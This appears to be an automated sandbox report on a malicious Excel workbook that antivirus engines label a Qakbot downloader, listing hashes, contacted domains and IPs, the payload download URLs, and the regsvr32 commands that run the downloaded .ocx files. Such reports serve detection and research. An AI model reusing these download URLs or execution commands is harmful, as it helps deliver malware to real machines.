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E-1253417553.xlsb

Malicious Library Excel Binary Workbook file format(xlsb)
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 13, 2022, 12:10 p.m. April 13, 2022, 12:14 p.m.
Size 1.2MB
Type Microsoft Excel 2007+
MD5 c06fd22e66beb0fb9b58341480ae5f05
SHA256 a922f7119db11ccd5fd82dada8027bb11884d349074dcb1c0b7a62348e73454e
CRC32 F8026E72
ssdeep 24576:WRDb86nFSv/iMkSy6HYFb50ezNHICBWDxjTBPzC/eA3ctriSo+fTAzZK0jR4kye1:WR384SniMkSyWYFFbzedJTBPzcctS+f0
Yara
  • xlsb - Excel Binary Workbook file format detection
  • Malicious_Library_Zero - Malicious_Library

Name Response Post-Analysis Lookup
ateliecordefeltro.com
A 50.116.87.139
50.116.87.139
lojaalamar.com.br
A 192.185.216.64
192.185.216.64
amalalhamed.com
A 162.215.248.83
162.215.248.83
IP Address Status Action
162.215.248.83 Active Moloch
164.124.101.2 Active Moloch
192.185.216.64 Active Moloch
50.116.87.139 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

request GET http://ateliecordefeltro.com/T9kpu5Vx0ag/Omnh.png7790983516.dat
request GET http://lojaalamar.com.br/nokjRAAdeCA/Omnh.png7790983516.dat
request GET http://amalalhamed.com/QOqUcVgYi9n/Omnh.png7790983516.dat
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75260000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b443000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003c4000
process_handle: 0xffffffff
1 0 0
file Yhdthd2.ocx
file Yhdthd.ocx
file Yhdthd1.ocx
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000410
filepath: C:\Users\test22\AppData\Local\Temp\~$E-1253417553.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$E-1253417553.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0
cmdline regsvr32 /s C:\..\\Yhdthd.ocx
cmdline regsvr32 /s C:\..\\Yhdthd1.ocx
cmdline regsvr32 /s C:\..\\Yhdthd2.ocx
Sangfor Malware.Generic-XLM.Save.ma35
Cyren XF/SneakyBin.E.gen!Eldorado
Avast VBS:Malware-gen
Kaspersky HEUR:Trojan.MSOffice.Generic
Tencent Trojan.MsOffice.Macro40.11003135
McAfee-GW-Edition X97M/Downloader.lf
GData Macro.Trojan-Downloader.Agent.BDH
Microsoft TrojanDownloader:O97M/Qakbot.Y!MTB
ZoneAlarm HEUR:Trojan.MSOffice.Generic
McAfee X97M/Downloader.lf
Rising Downloader.Agent/XLM!1.DD1F (CLASSIC)
Ikarus Trojan-Downloader.XLM.Agent
Fortinet MSExcel/Agent.BDH!tr
AVG VBS:Malware-gen
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: http://ateliecordefeltro.com/T9kpu5Vx0ag/Omnh.png7790983516.dat
stack_pivoted: 0
filepath_r: C:\..\\Yhdthd.ocx
filepath: Yhdthd.ocx
1 0 0

URLDownloadToFileW

 url: http://lojaalamar.com.br/nokjRAAdeCA/Omnh.png7790983516.dat
stack_pivoted: 0
filepath_r: C:\..\\Yhdthd1.ocx
filepath: Yhdthd1.ocx
1 0 0

URLDownloadToFileW

 url: http://amalalhamed.com/QOqUcVgYi9n/Omnh.png7790983516.dat
stack_pivoted: 0
filepath_r: C:\..\\Yhdthd2.ocx
filepath: Yhdthd2.ocx
1 0 0
parent_process excel.exe martian_process regsvr32 /s C:\..\\Yhdthd.ocx
parent_process excel.exe martian_process regsvr32 /s C:\..\\Yhdthd1.ocx
parent_process excel.exe martian_process regsvr32 /s C:\..\\Yhdthd2.ocx